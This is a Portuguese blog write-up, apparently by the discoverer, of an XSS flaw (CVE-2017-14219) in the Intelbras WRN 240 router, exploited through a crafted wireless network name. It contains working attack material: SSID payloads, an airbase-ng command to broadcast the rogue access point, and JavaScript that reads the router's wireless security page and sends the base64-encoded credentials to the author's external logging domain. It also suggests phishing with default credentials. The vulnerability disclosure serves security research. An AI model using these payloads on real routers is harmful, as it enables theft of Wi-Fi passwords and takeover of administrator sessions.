[CVE-2017-14219] XSS NO ROTEADOR INTELBRAS WRN 240

Intelbras exploit: Obtendo senha Wireless e sessão administrador sem estar conectado na mesma rede

Postado por @elber333 - 07/09/2017
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14219 Exploit-DB: https://www.exploit-db.com/exploits/42633/

Como começou:

Ja faz algum tempo que venho tentando ownar meu roteador, motivos? Só falta do que fazer, e as vezes falta de internet também, isso foi de tentativas de upload com firmeware modificado à tentaticas de inserir códigos na página alterando o ID da wireless, até que um dia li em um lugar sobre xss em roteadores pelo ssid de um outro AP, e tive minha idéia reforçada pelo Caio Luders após ler um tópico puclicado pelo mesmo sobre isso.

O XSS

    A vulnerabilidade está presente no Roteador Intelbras Wireless N 150Mbps WRN 240 (única versão testada por mim até agora), na página de busca por roteadores para usar como ponte.

URL: "http://10.0.0.1/userRpm/popupSiteSurveyRpm.htm"

  • O roteador recebe o SSID das redes e em seguida mostra na tela sem nenhum tipo filtro ou sanitize*, obedecendo somente ao limite de 32 caracteres do wireless. A página vulnerável não está ativa por padrão no roteador, o usuário (vítima) teria que ativá-la nas configurações do AP, mas por sorte (nossa é claro), só precisamos que o usuário logado acesse a o html onde o sistema mostra as redes wireless que estão ao alcance. Ação que não seria difícil para alguém esperto.

    Para subir o AP ultilizei outro roteador que eu tinha, mas nada que um airbase-ng não resolvesse. Alterei meu SSID para <script>alert('xss')</script>, uma tentativa que não obteve sucesso, mas alterei novamente para </script><script>alert('xss') onde a tag encerraria o primeiro </script> e iniciaria um novo, aproveitando da tag <script> original no fim do arquivo.

    Agora que temos nosso xss vamos para a parte que realmente interessa. Obedecendo o limite de 32 caracteres do SSID wireless, uma maneira de injetar códigos longos na página seria importando de outro lugar, então alterei o SSID para </script><script src='//elb.me'> "elb.me" é o meu domínio que estou ultilizando para salvar os payloads

  • Sabemos que para acessar a index de uma página não necessáriamente precisa do /index.*** no final, então adicionei meu script na index do "elb.me" Em uma técnica de roubo de cookies, costuma-se usar um script em php que pega o que for passado por GET e salva em um arquivo de log, não será muito diferente disso o que vamos fazer.

    O script em PHP eu configurei em https://elb.me/cookie.php?ck=" os logs ficam salvos em https://elb.me/cookie.txt

    O roteador salva a senha em um ajax localizado na página http://10.0.0.1/userRpm/WlanSecurityRpm.htm só precisamos da source dessa página para obter as credenciais Na index de "elb.me" inseri um script em XMLHttpRequest, que me permite solicitar a source dessa página e enviar para nosso PHP receptor.

    
    //Script feito com a ajuda do Luan Herrera
    var rawFile = new XMLHttpRequest();
    rawFile.onreadystatechange = function() {
           alert(rawFile.responseText);
           var base64 = rawFile.responseText.split('>')[1].split("/SCRIPT")[0];
           //seleiciona a parte da página com as credenciais
           new Image().src="https://elb.me/cookie.php?ck="+btoa(base64);
           //envia as credenciais encodadas em base64
    };
    rawFile.open("GET", "http://10.0.0.1/userRpm/WlanSecurityRpm.htm", true);
    //pega a source da página /popupSiteSurveyRpm.htm
    rawFile.send();
    

    Agora que temos nosso payload, basta suburmos um AP e esperar que alguém abra a página do roteador, ou podemos enviar o link de acesso direto "http://10.0.0.1/userRpm/popupSiteSurveyRpm.htm".

  • Testando na página obtive o seguinte resultado:

    Nosso script funcionou :) Agora só precisamos ir na página onde os logs forma salvos, "https://elb.me/cookies.txt"

    E depois de decodarmoso base64 obtemos nossa senha.

  • #SFR

    Dicas:

  • E se o administrador não estiver logado?

    Seria uma boa idéia mandar um post para a página de login com as credenciais padrões junto cm o html de phishing.

  • Subindo o AP com o airbase

    airbase-ng -e "</script><script src='//elb.me'>" -c 8 -v wlan0mon

    Referencias:

    https://medium.com/@caioluders/roteador-tc7337-dns-poisoning-atrav%C3%A9s-de-xss-1a92ed254120

    Contribuições: Guilherme Assmann, Luan Herrera

  • www.000webhost.com